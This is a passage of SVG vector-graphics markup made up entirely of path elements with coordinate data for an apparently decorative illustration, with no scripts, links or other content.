d="M113.15,54.87a1.39,1.39,0,0,0,.62-1.06c-.14-.38-.47-.48-.8-.62a1.09,1.09,0,0,0-.92.43.88.88,0,0,0,.19,1c.19.24.63.24.91.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.94,55.84a1.09,1.09,0,0,0,1.29-.44,1.13,1.13,0,0,0,0-.77,1.56,1.56,0,0,0-1-.48,1.5,1.5,0,0,0-.82.87,1.33,1.33,0,0,0,.54.82Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.54,56.12c.43.15.76-.24,1-.48.05-.29.34-.77,0-1a1.16,1.16,0,0,0-.91-.24,1.06,1.06,0,0,0-.67,1.11c.1.33.38.33.62.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,56.7c.62-.09.57-.77.57-1.3a1.3,1.3,0,0,0-.95-.53,1.13,1.13,0,0,0-.72,1.15.9.9,0,0,0,1.1.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.37,56.65c.29-.24.76-.53.62-1a.89.89,0,0,0-1.39-.43c-.09.29-.52.58-.19.91a1,1,0,0,0,1,.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.59,56.7a1,1,0,0,0,.53-.91c-.19-.34-.53-.83-1.05-.63a.8.8,0,0,0-.43,1.1.84.84,0,0,0,1,.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.85,62.2c.68-.63.34-1.83.53-2.75a10.05,10.05,0,0,0-1-3.47c-.14-.24-.14-.72-.52-.58-.28,1.64-1.05,3.62-.19,5.3.43.44.48,1.26,1.14,1.5Z" transform="translate(-23 -22)"/><path class="cls-1" d="M112.68,55.93a1.2,1.2,0,0,0-.63,1.16,1.13,1.13,0,0,0,1.2.67c.33-.33.76-.63.62-1.2a1.22,1.22,0,0,0-1.19-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M227.23,62.58A7,7,0,0,0,227,58a1.88,1.88,0,0,1-.77-1.44c-.14-.29-.33-.58-.67-.34a6.48,6.48,0,0,0-.58,2.75,18.8,18.8,0,0,0,2,3.9l.29-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.72,56.51a1,1,0,0,0-.52,1.16.86.86,0,0,0,1.1.57,1.2,1.2,0,0,0,.71-1.15c-.23-.38-.76-.87-1.29-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.45,59.5a1,1,0,0,0,.72-.92c-.1-.48-.53-.67-1-.92-.29.1-.62.1-.77.39a1.18,1.18,0,0,0,0,1.11c.34.15.63.63,1,.34Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.64,58.73c.25.34.53.77,1.1.57.2-.23.73-.47.53-1s-.53-.82-1.1-.67c-.33.28-.62.57-.53,1.06Z" transform="translate(-23 -22)"/><path class="cls-1" d="M233.26,60.08c.09-.63,1.05-1.25,1.1-1.89a7.1,7.1,0,0,0-3.88,2.51c-.53.87-1.39,1.74-1.29,2.7a2.28,2.28,0,0,0,1.1-.62,4.89,4.89,0,0,0,3-2.7Z" transform="translate(-23 -22)"/><path class="cls-1" d="M116.84,63a.4.4,0,0,0,.33-.49,17.45,17.45,0,0,1-2-2.26c-.62-.82-1.53-1-2.34-1.64-.34.05-1-.38-1.1.15,1.14,1.69,2.72,4.09,5.07,4.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M230.43,66.49c.53.33,1.1-.2,1.63-.39a6.19,6.19,0,0,0,3-5.21h-.39a24.47,24.47,0,0,0-4.21,5.6Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225,63.69a1.18,1.18,0,0,0,.81-1.4c-.24-.23-.38-.48-.67-.58a.75.75,0,0,0-.57.15,1,1,0,0,0-.68,1.06c.25.38.58.82,1.11.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,65a28.49,28.49,0,0,0-2.59-2.26,8.74,8.74,0,0,0-2.92-.63c-.33.15-1-.05-1,.48,1.67.48,2.77,1.88,4.4,2.46.71,0,1.49.39,2.11-.05Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,64.7a1.06,1.06,0,0,0,.72-1.1c-.1-.44-.57-.49-1-.59-.38.2-.86.59-.67,1.11s.53.44.91.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M122.29,64.85c.29.38.82.14,1.15-.15a1,1,0,0,0-.19-1.1c-.39-.39-1-.1-1.29.24s.05.72.33,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M225.31,64.46a.91.91,0,0,0-.71.73c0,.63.62.72,1.1.86.38-.19.81-.57.61-1.11a.94.94,0,0,0-1-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.47,66.1c.14-.2.29-.24.48-.38.38-.24.05-.63-.1-.87s-.48-.44-.81-.34-.82.48-.72,1a.92.92,0,0,0,1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.57,65.43a1.81,1.81,0,0,0,.38.62.94.94,0,0,0,1.29-.62,1.16,1.16,0,0,0-1.15-.83.89.89,0,0,0-.52.83Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.5,66.49c.24.33.57.72,1,.67a1.54,1.54,0,0,0,.82-.92,1.09,1.09,0,0,0-1.3-.72,1,1,0,0,0-.57,1Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123,66.15c-.09.48.24.67.53.92.47.28.91-.15,1.19-.39a.75.75,0,0,0-.14-.77c-.29-.19-.48-.43-.86-.34a2.28,2.28,0,0,0-.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.21,65.81a1.66,1.66,0,0,0-.9.63c0,.24-.1.63.19.72a.94.94,0,0,0,1.05.24,1.27,1.27,0,0,0,.62-.91,1.75,1.75,0,0,0-1-.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238.33,67.79a1.2,1.2,0,0,0,.9-.87.83.83,0,0,0-1.19-.48.85.85,0,0,0-.43.77c-.1.43.43.53.72.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.79,67c-.29.19-.72.09-.82.53a.84.84,0,0,0,.24,1c.24.19.58.43.91.24a.94.94,0,0,0,.58-1.15,1.18,1.18,0,0,0-.91-.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M118.66,68.85c.09-.29.53-.44.38-.82-.24-.58-1.24-1-1.63-.24-.33.43,0,.86.39,1.15a.79.79,0,0,0,.86-.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.25,67.4a1,1,0,0,0-.53.92.84.84,0,0,0,1,.58c.29-.29.72-.63.67-1.11a1,1,0,0,0-1.1-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.41,68.56a.87.87,0,0,0,.19,1,1.35,1.35,0,0,0,1.15.19c.48-.28.42-.77.53-1.2-.29-.15-.39-.39-.72-.58a1.11,1.11,0,0,0-1.15.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113.39,69.24c0,.23-.19.71.14.91a1,1,0,0,0,1,.1c.15-.2.58-.3.39-.68-.2-.58-1.06-1.16-1.49-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.51,69.67a13.78,13.78,0,0,1,1.92,1.06,3.67,3.67,0,0,0,3.88.19c.05-.1.14-.39-.05-.43-1.53,0-2.64-1.35-4-1.55-.63.15-1.48.1-1.73.73Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.74,69.76a.86.86,0,0,0,.34,1.21c.23.09.62.19.81-.1s.38-.43.28-.82a.86.86,0,0,0-1.43-.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M120.9,71.4c.39-.24.68-.62.49-1.06-.34-.53-1.2-.91-1.63-.19-.43.38,0,.77.24,1.11.28,0,.57.33.9.14Z" transform="translate(-23 -22)"/><path class="cls-1" d="M170.56,79.2c.64,1.7,2.64.87,4,1a4.3,4.3,0,0,0,1.81-1.56c.05-.78.28-1.78-.17-2.43a7.08,7.08,0,0,1-1-2.69c-.22-1.29,1.37-.19,1.46-1.15-.45-.5-1.14-1.42-1.95-.78a1.58,1.58,0,0,0-.55,1.6c.18,1.24.73,2.39.91,3.53a4.3,4.3,0,0,1-.68-.6c-1-1.23-2.72-.86-3.82-2-1.31.09.87,1.47-.68,1.74-.05.32.32.5.32.82-.14.14-.32.14-.46.23a6.81,6.81,0,0,0,.77,2.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.07,73.09c.29-.24.67-.53.52-1a1,1,0,0,0-.9-.48c-.29.24-.63.48-.48,1,.19.24.43.72.86.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M154.3,72.75c-.52,1.88-1.48,4.39-.19,6.17.53,0,.39-.58.43-1a6.56,6.56,0,0,0,.57-5.39c-.14-.48-.71-.29-.81.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M196.17,78a5.38,5.38,0,0,0-.1-4.49c-.19-.38-.14-1.25-.81-1.1a11.76,11.76,0,0,1-.57,2.55,10.78,10.78,0,0,0,1.1,3.42l.38-.38Z" transform="translate(-23 -22)"/><path class="cls-1" d="M123.44,75.93a5.7,5.7,0,0,0,4.26-.82c.53-.38,1.34-.53,1.63-1.11-.1-.23-.34-.14-.43-.33a5.2,5.2,0,0,0-5.46,2.26Z" transform="translate(-23 -22)"/><path class="cls-1" d="M113,80.46c-1-1.73-1.53-3.47-3.3-4.72-.19,0-.48,0-.48.19a5.3,5.3,0,0,0,2.92,5c.53-.1.91.48,1.29.19.2-.39-.28-.44-.43-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M193.78,78.34c.38-.14.48-.62.43-1.11a.85.85,0,0,0-1.29-.24c-.1.24-.38.44-.24.77a.86.86,0,0,0,1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.1,83.31c2.69-.78,4.31-3.23,5.84-5.4a1.58,1.58,0,0,0-1.29.19c-2.53.63-3.4,3.32-5,5.06.09.24.28.15.47.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.84,80.94c.43,0,.24-.48.48-.67-.1-.49-.48-.63-.86-.82a.86.86,0,0,0-.63,1.06.78.78,0,0,0,1,.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115,80.07a5.19,5.19,0,0,0,5.5,1.4c.24-.09.72-.09.58-.53-1.63-1.2-3.93-.82-5.89-1.3-.19,0-.19.24-.19.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M108.23,80.85a1.48,1.48,0,0,0,.62.62A1.05,1.05,0,0,0,110,81a1.29,1.29,0,0,0-.09-.72,1.41,1.41,0,0,0-.91-.39,1.15,1.15,0,0,0-.81.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M153.54,80.17a.7.7,0,0,0-.34.92,1,1,0,0,0,1,.38c.29-.19.67-.48.57-.91s-.81-.48-1.24-.39Z" transform="translate(-23 -22)"/><path class="cls-1" d="M238,80.85c-.09.33.2.53.24.77a1,1,0,0,0,.91.14c.33-.29.76-.53.62-1a5.57,5.57,0,0,0-.67-.48,1,1,0,0,0-1.1.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M241.87,82a.67.67,0,0,0,.86-.29c.24-.34.47-.68.19-1.11-.39,0-.58-.48-1-.29-.29.14-.72.43-.72.82s.43.58.72.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.2,83c.29.1.53-.1.78-.2.09-.28.38-.48.33-.81a.92.92,0,0,0-1.82.24,1.45,1.45,0,0,0,.71.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M204.5,82.05c-.15.44.19.72.48,1,.48.24.86-.1,1.14-.49a1.31,1.31,0,0,0-.05-.62.93.93,0,0,0-1.57.09Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.91,81.76c-.43.24-.38.68-.38,1.11.24.19.38.58.81.53s.57-.38.67-.72a.87.87,0,0,0-1.1-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M106.65,83.16a1.13,1.13,0,0,0,1.29.68,1,1,0,0,0,.48-1.07c-.24-.24-.48-.72-.91-.72a1.34,1.34,0,0,0-.86,1.11Z" transform="translate(-23 -22)"/><path class="cls-1" d="M208.71,83.84a1,1,0,0,0,.52-1.16,1.09,1.09,0,0,0-1-.53c-.57.1-.61.62-.86,1,.25.39.72.87,1.3.68Z" transform="translate(-23 -22)"/><path class="cls-1" d="M110.43,83.6c.09-.25.38-.39.24-.73a.9.9,0,0,0-.92-.68c-.33.2-.66.44-.62.92s.44.44.62.68c.29.09.44-.19.68-.19Z" transform="translate(-23 -22)"/><path class="cls-1" d="M235.36,82.77c-.1.25-.19.68,0,.87s.53.49.91.39a1.43,1.43,0,0,0,.81-.77,1,1,0,0,0-1.77-.49Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239,83.16c-.33.58.15.92.58,1.11a1.25,1.25,0,0,0,1.15-.82.92.92,0,0,0-1.15-.72c-.29,0-.39.24-.58.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M216.4,84.51a2.19,2.19,0,0,0,.92.39c.39-.29,1-.49.72-1.11a1.16,1.16,0,0,0-1-.53,1.12,1.12,0,0,0-.68,1.25Z" transform="translate(-23 -22)"/><path class="cls-1" d="M203.4,84.41a.81.81,0,0,0,.47.92c.44.29.82-.19,1.11-.39,0-.14.14-.48-.1-.57a.89.89,0,0,0-1.48,0Z" transform="translate(-23 -22)"/><path class="cls-1" d="M206.7,84.22a1.13,1.13,0,0,0-.63.39.79.79,0,0,0,.05.72c.34.1.72.48,1.06.15a.68.68,0,0,0,.38-.78c-.14-.38-.53-.38-.86-.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M126.26,85.67c0-.29.39-.63.1-.92a1.69,1.69,0,0,0-1-.48c-.38,0-.38.34-.67.43-.09.39-.14,1,.34,1.21a.93.93,0,0,0,1.19-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M222.44,85.71c.33-.09.81-.29.72-.77-.34-.38-.76-.86-1.44-.57-.1.24-.38.43-.38.72.24.38.53.82,1.1.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M219.52,84.37c-.33.09-.48.38-.76.62,0,.29,0,.58.23.72a1,1,0,0,0,1.06.2c.19-.24.72-.49.52-1a1.25,1.25,0,0,0-1-.57Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.16,85.52l-.15-.14c-2-.1-4.16-1.69-6.22-.39-.38.25-1.1,0-1.25.63,1.92.72,4.5,1.64,6.51.43.34-.19,1.2.15,1.11-.53Z" transform="translate(-23 -22)"/><path class="cls-1" d="M104.83,86.39A7.77,7.77,0,0,0,111,85.28l.19-.34-.14-.14a8.63,8.63,0,0,0-6.41,1.3l.19.29Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228,85.28c-.19-.48-.77-.53-1.1-.53-.38.15-.77.53-.63.92a1,1,0,0,0,1.25.53,1.1,1.1,0,0,0,.48-.92Z" transform="translate(-23 -22)"/><path class="cls-1" d="M119.18,86.44c.48-.19.38-.58.58-1-.29-.43-.72-.86-1.29-.57-.25.24-.63.38-.49.91a1,1,0,0,0,1.2.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M115.17,86.63a.86.86,0,0,0,1-.14c.09-.25.38-.44.24-.78a1.11,1.11,0,0,0-1-.77,3.07,3.07,0,0,0-.77.54c-.14.52.2.86.54,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M231.39,86.82a1,1,0,0,0-.87-.77c-.18.1-.52.1-.61.25a.75.75,0,0,0-.2.91,1.1,1.1,0,0,0,.91.48,1,1,0,0,0,.77-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M111.53,89.18a7.22,7.22,0,0,0,1-2.07c0-.29.39-.43.24-.81l-.14-.1a12.52,12.52,0,0,0-4.84,4l.19.38c1.3-.34,2.59-.34,3.5-1.45Z" transform="translate(-23 -22)"/><path class="cls-1" d="M228.28,88.27c.33-.24.81-.34.72-.92a1,1,0,0,0-1.06-.62c-.28.24-.77.43-.62,1a1.09,1.09,0,0,0,1,.58Z" transform="translate(-23 -22)"/><path class="cls-1" d="M117.17,86.92A.8.8,0,0,0,116.7,88a1.26,1.26,0,0,0,1,.48c.29-.24.68-.38.73-.92-.1,0-.2-.14-.15-.24-.14-.43-.72-.48-1.15-.43Z" transform="translate(-23 -22)"/><path class="cls-1" d="M239.43,89.72c.37-.24.81-.54.62-1.11a1.17,1.17,0,0,0-1.15-.53c-.53.09-.62.67-1.1.72-.77-.87-1.91-2-3.3-1.88-.53.39.39.72.57,1.16a6.05,6.05,0,0,0,3.45,3c.14.1.48.15.57,0a1.53,1.53,0,0,0-.67-1c0-.62.67-.09,1-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.35,88.22a.74.74,0,0,0,0-.92,1.31,1.31,0,0,0-1.1-.33,1.44,1.44,0,0,0-.71.62c-.1.39.14.63.37.87.44.05,1.16.24,1.4-.24Z" transform="translate(-23 -22)"/><path class="cls-1" d="M220.81,87.3c0,.34.34.58.48.78.62,1.93,2.73,2.94,4.36,3.85.09,0,.33,0,.43-.09A6.56,6.56,0,0,0,225,89.91c-.19-.53-.57-.77-.9-1.26-.87-.67-2.06-1.59-3.31-1.35Z" transform="translate(-23 -22)"/><path class="cls-1" d="M114.11,88.65a1.08,1.08,0,0,0,1.1.39c.24-.19.62-.53.43-1-.24-.24-.48-.63-.86-.58s-1,.62-.67,1.15Z" transform="translate(-23 -22)"/><path class="cls-1" d="M229.38,88.85c-.29.24,0,.62.05.87.33.33.71.19,1.1.14.14-.2.52-.39.47-.68-.33-.48-1.09-1-1.62-.33Z" transform="translate(-23 -22)"/><path class="cls-1" d="M242.25,91.07a1.15,1.15,0,0,0,.67-1.21,2.46,2.46,0,0,0-.58-.48,1.2,1.2,0,0,0-1.24.33c0,.34-.23.63,0,.92a1.27,1.27,0,0,0,1.15.44Z" transform="translate(-23 -22)"/><path class="cls-1" d="M209.81,96.51a7.14,7.14,0,0,0-6.51,1.3v.29a10.21,10.21,0,0,0,5-.72c.43-.44,1.49-.29,1.49-.87Z" transform="translate(-23 -22)"/><path class="cls-1" d="M139.28,99.4a.91.91,0,0,0,.72-.82,1.13,1.13,0,0,0-.91-.72c-.34.24-.82.48-.62,1.06a.91.91,0,0,0,.81.48Z" transform="translate(-23 -22)"/><path class="cls-1" d="M207.22,99.88c.34.19.63.44,1.06.34a1.34,1.34,0,0,0,.71-1.11,1,1,0,0,0-1.91,0c0,.24-.09.58.14.77Z" transform="translate(-23 -22)"/><path class="cls-1" d="M218.52,99c-2.49-.2-5.36-.2-7,1.73l.25.19,2.58,0a7.8,7.8,0,0,0,4.12-1.69V99Z" transform="translate(-23 -22)"/><path class="cls-1" d="M125.64,99.83a.87.87,0,0,0-.38,1.11.88.88,0,0,0,1,.44.9.9,0,0,0,.63-.92c-.2-.38-.72-1-1.25-.63Z" transform="translate(-23 -22)"/><path class="cls-1" d="M128.46,100.32c-.14.19-.42.14-.57.43a.61.61,0,0,0,.29.82.78.78,0,0,0,.91,0c.1-.24.33-.39.19-.63a1.37,1.37,0,0,0-.82-.62Z" transform="translate(-23 -22)"/><path class="cls-1" d="M109.18,105.38c.53.29,1.29,1,1.78.43-1.11-1.45-1.49-3-3.12-3.9a6.33,6.33,0,0,1-1-.53c-.34.09-.77-.53-1,.05,1.68,1.1,1.63,3,3.3,3.95Z" transform="translate(-23 -22)"/><path class="cls-1" d="M232.87,109.52v-.09l0,0c-.53-.67-1.68,0-2.31-.53a36.16,36.16,0,0,1-9.42-2.36c.05-.14.24-.1.39-.1a1.24,1.24,0,0,0,.76-1.2,1,1,0,0,0-1.82.29,1.18,1.18,0,0,0,.72.91c-.1.1-.29,0-.43,0-1.48-.67-2.92-1.3-4.36-2-.53-.1-1-.53-1.48-.63-1.1-.53-2.2-1.06-3.3-1.49-3.07-1.59-6.46-2.46-9.72-3.62-.71-.19-1.39-.39-2.05-.58-1.2-.33-2.4-.62-3.59-1-4.07-1-9.53-1.11-13.07,1.11-.57-.19-.9.72-1.19.14,1-2.65,3.92-3.51,6.55-3.61,19.19-.19,37.18-.34,56.08-.63a6.07,6.07,0,0,0,5.51-2.74,4.87,4.87,0,0,0,.33-4.44,3.83,3.83,0,0,0-3.59-2,3.28,3.28,0,0,0-2.68,2,2.44,2.44,0,0,0,.92,2.65.72.72,0,0,0,.95-.24c.24-.62-.44-.62-.53-1.11a1.59,1.59,0,0,1,.53-1.68c.48-.48,1.29-.25,1.86-.25a3.41,3.41,0,0,1,1.44,1.4,3.88,3.88,0,0,1,0,2.56,4.27,4.27,0,0,1-3,2.41c-4,.58-47.56.38-47.56.38-5.12.49-11-1-15.36,1.74-2,1-3,3.18-3.54,5.16a34.25,34.25,0,0,0-3.73,3.8l-.15-.14c.24-1.16.77-2.17,1-3.33.71-1,.71-2.26,1.24-3.32,1.82-2.94,3.54-5.93,6.37-8,1.2-1.6,3.3-1.31,5.11-1.31a12.71,12.71,0,0,0,6.66,1,.42.42,0,0,0,.14-.34c-.67-.63-1.77-.87-2.53-1.49-1.92-.92-3.74.29-5.74.14-.1-.1-.2-.14-.15-.29a28.06,28.06,0,0,1,5.94-3.18,40.35,40.35,0,0,1,5.21-2.07c.72,0,1.39-.63,2.06-.19-1.43,2.79-2.73,5.78-4.93,8.14-.72,0-1.15.77-1.87.82-.38.53-1.15.15-1.63.34-1.48.63-3.58.24-4.59,1.64a.71.71,0,0,0,.38.24c2.92,0,6.18.24,9.29.1a1.16,1.16,0,0,0,.76-.92c-.43-.82.15-1.54.53-2.17.24-1.16,1-1.88,1.34-3,1-2,2.15-3.9,3.25-5.88h0c.1,0,.19.19.39.15,2.15-.73,4.88,0,7.32-.1l.33.29h0a34.26,34.26,0,0,1-.43,7c-.81,2.79-4,2.51-6.32,3.13-.57.39-1.67.19-1.67,1.16,2.78.58,6,.24,9,.19.47-.19.57-.63.81-1.06.1-.63.72-1.16.53-1.83-.53-.67-.05-1.74-.2-2.65a1.44,1.44,0,0,0,0-.92c.39-1.39.29-3.08.58-4.43h0c.86.09,1.24,1.11,2.15,1.15.48-.67-.53-1-.77-1.39a5.24,5.24,0,0,1,3.21.48l-.47.53c-.29.53.14.92.57,1.11s.57-.15.82-.24c.61-.44-.06-.87.14-1.26a45.78,45.78,0,0,1,10.19,2.9c.9.28,1.76,1,2.78.91a13,13,0,0,0-3.64-1.93c-.82-.48-2-.53-2.59-1.2.15-.24.48-.15.63-.34a7.12,7.12,0,0,0,4.16-2.7c.09-.29.62-.19.57-.58-.43-.48-1.15.15-1.72.1-2,.39-2.87,2.75-4.88,3.18-2.44-.58-4.93-1.15-7.37-1.78a14.37,14.37,0,0,1-3.59-.78,24.72,24.72,0,0,1,.33-2.64,1.77,1.77,0,0,0,.2-1,2.38,2.38,0,0,1,.47-.48l1-.46a12.07,12.07,0,0,1,3.84,0,10.33,10.33,0,0,0,2.39.53,1.76,1.76,0,0,1,1.2-.24c1.53-.82.52-2.6.62-4h0a30.72,30.72,0,0,0,3.62-3.95.91.91,0,0,0-.52-.91.82.82,0,0,0-1,.19c-.57.44,0,1,0,1.49a8,8,0,0,1-2.2,1.89,1.9,1.9,0,0,0-.41.15l-.12-.3a6.4,6.4,0,0,1-.38-1c-.28-.34-.48-1-.76-1.3-.82-2.12-2.39-3.33-3.74-5-2.44-3.17-6.26-5-10.09-6.21s-7.61.38-11,1.59a2.76,2.76,0,0,1-1.87-2,9.61,9.61,0,0,1,.92-5.12c.14-1.2.95-2.12,1.29-3.22a34.33,34.33,0,0,0,2-8.29c.1-1.78-1.24-3-2.58-3.81a2.63,2.63,0,0,0-2.64.53,7,7,0,0,1-3.1,2.8c-.1.82.91.28,1.24.57,1,.2,2.24-.14,3.11.53.09,1.93-1,3.52-2,5a38.69,38.69,0,0,0-4.36,7.51l0,0v-2.5h0v0H167.13c-1.15-.39-2-1.59-3.31-1.59-2.68-1.06-4.44,1.73-7.17,1.4-.34.19-.24.53-.43.77s-.38,0-.53-.05c-.14-1.15-.53-2.22-.67-3.32-.28-.48-.14-1.16-.38-1.64-1.53-4.19,3.73-1,4.78-3.47.91-2.12-1.77-2.36-2.58-3.85v-.63c-.77-.77-1.58-1-2.06-2a7,7,0,0,0,.14-3.71c0-.29-.23-.67-.67-.53-.9,1.25-1.57,2.27-2.44,3.47A26.61,26.61,0,0,0,149,32.75c-.72-.1-1.39-.82-2.2-.53a.66.66,0,0,0,.14.72,7,7,0,0,0,2.34,4.73l.15.72c-.86,2-.62,4.24-.86,6.36a35.38,35.38,0,0,1-10.38,14.61c-2.73,3.08-6,6.07-6.41,10.31-.15.67.09,1.49-.44,2a16.16,16.16,0,0,1-4.44-2.36c-2.2-1.54-5.36-1.35-6.8-4.14-.57-1.11.15-2.22.67-3,1.62-1.54,1.39-4.29.53-6.17-.19,0-.24.2-.38.24-.15,2.85-2.4,4.82-1.54,8,.2.92.67,1.5.91,2.37a7.1,7.1,0,0,1-1.1-.25,11.92,11.92,0,0,0-3.2-.42c-2.2,1-5.22-.25-7,1.78-.29,0-.67.09-.57.53,1,0,2,.28,3.1.24,1.68.28,2.78-1.12,3.93-1.74h.29c.48-.48,1.29-.19,1.91-.29,3,.34,5.36,1.79,7.85,3.28v.19c-1,.44-2.06.72-3,1.25a6.57,6.57,0,0,0-2.68,3.23c-.76,1.21.24,2.27.72,3.28,0,.48.1,1.06.53,1.25,1.53-1.64.09-3.66.33-5.54.39-1.44,1.73-2.12,3.11-2.5,2.73-1.16,4.7,1.06,6.89,2.31,0,2.22.24,4.34-.24,6.5a5.68,5.68,0,0,1-2.24.34c-3.79.29-6.75,2.36-10.15,3.52-1.53.53-3.35.48-4.88,1.06,1.2.34,2.44-.1,3.69-.14,4.68-.68,8.27-4.29,13.34-3.67l.1.15A11.41,11.41,0,0,1,128.75,84c-.14-.53-.19-1-.67-1.25a.89.89,0,0,0-1.1.38.69.69,0,0,0,0,.73,1.56,1.56,0,0,0,1.06.67c-.1.43-.63.63-.91,1-1.34,2.27-4.07,1.35-5.65,2.94-.24.34-1.1.53-.72,1.06a7.17,7.17,0,0,0,4.93-1.25c1.77-2,3.64-3.86,5.4-5.74A5.73,5.73,0,0,1,130,86.92a5.19,5.19,0,0,0-1.29-.72,1.17,1.17,0,0,0-.86,1,2.83,2.83,0,0,0,.72,1c-1.63,1.15-3.68,1.25-5.55,1.78a95.35,95.35,0,0,1-10.43.77c-1.68-.1-3.59.48-5.17,0-1.82.33-3.78-.24-5.26.77-.2.24,0,.48,0,.72,2.2,1.45,5.22.29,7.71.73H128.8a8.46,8.46,0,0,0,3.88-.73c2.44-1.39,3.77-3.9,5-6.36a10.12,10.12,0,0,0,1-2.89A4.14,4.14,0,0,1,142.29,80a22,22,0,0,1-.81,7.32c-.29,1.55-1.29,3-.67,4.68.14.77,1,.77,1.58.87,5.79-.1,11.58-.34,17.7.09a14.4,14.4,0,0,0,3.25.48c.1-.14.43-.19.29-.48a1.8,1.8,0,0,0-1.15-1.34c-.09-.29-.52-.2-.66-.39-3.07-1.73-6.76-.82-10.34-.77-1.87.19-3.73.53-5.31-.53-.72-.87-.19-3.62-.19-3.62a35.24,35.24,0,0,1,1.5-5.25,34.64,34.64,0,0,1,5.05,2.6,31.92,31.92,0,0,1,4.78,2.56c6.51,3.61,10.82,9.59,13.74,16.24,0,.53.52,1.11.19,1.64-1-1.55-2.44-2.42-3.63-3.67A7.06,7.06,0,0,0,164,95.06c-.72-1-2.25-1.15-3.45-1.49l-17.41-.1c-14.17-.19-27.09.44-41.15.19-2-.19-4.36-.86-4.93-2.93a3.22,3.22,0,0,1,0-2.65,2.92,2.92,0,0,1,2.44-1.31,2.56,2.56,0,0,1,1.63,1.36c0,.62-.53,1.2-.77,1.73,0,.19.24.58.57.43a2.24,2.24,0,0,0,1.25-1.54c0-.34.19-.82-.15-1.06a3.17,3.17,0,0,0-2.24-2,4,4,0,0,0-3.26,1.1c-1.15,1-1.1,2.7-.76,4.05a6.45,6.45,0,0,0,5.16,3.86l46.56.19c4.54.24,9.67-.53,14.26.38A5.5,5.5,0,0,1,165.59,99c0,.09-.19,0-.33,0a20.77,20.77,0,0,0-13.59-2.79c-1.91-.1-3.63.63-5.36,1.11a2.77,2.77,0,0,1-2.35-.77c-1.72-1.54-4.73-1.45-6.93-.87,0,.15-.05.29.05.34,2.34-.19,3.73,1.83,5.84,2.07.47.1.86-.43,1.28,0a43.83,43.83,0,0,1-6.64,3c-.72-.14-1.11-.82-1.68-1.21-.91-1-2.58-.57-3.83-.67-.43.1-.81-.19-1.1,0a4.15,4.15,0,0,0,2.06,1.59c1.2.53,2.58,0,3.68.68a4.73,4.73,0,0,1-1,.67c-2.25.87-4.12,2.89-6.6,2.75a8.52,8.52,0,0,1-7.08-2.32,4.81,4.81,0,0,0-4.84-2.79c-.14.09-.33.09-.29.34,1.06.62,1.87,1.87,2.92,2.6.67.82,2,0,2.59.91A8.62,8.62,0,0,0,125.5,105a14.79,14.79,0,0,0,2.48.67l-.33.19c-4.35,1.45-9.38,1.59-14.26,1.4-1.44,0-2.82-.49-4.26-.44a2.63,2.63,0,0,0,1.15.68,2.78,2.78,0,0,1-1.29.38,9,9,0,0,0-1.82.49,4.72,4.72,0,0,0-2,.48,10.18,10.18,0,0,1-2.73,2.22c0,.19,0,.48.19.48.91-.39,2.06-.1,3-.48,1.57-.15,2.48-1.89,3.73-2.61,1.34-1.06,3.25-.82,4.88-.58,1,.25-.1.63.19,1.25.38.35.72.73,1.25.58a.73.73,0,0,1,.33-.23,1.09,1.09,0,0,0,0-1.21c.67-.43,1.59,0,2.3-.24,1.82,0,3.64-.44,5.41-.48.28,0,.62-.34.91,0-.14.38-.63.44-.43,1s.57.63,1,.72c.48-.19.91-.53.72-1.15-.1-.34-.47-.39-.72-.53,1-.48,2.16-.63,3.16-1.11a10,10,0,0,0,2-.67c.61,0,1.14-.63,1.71-.39a9.5,9.5,0,0,1-1,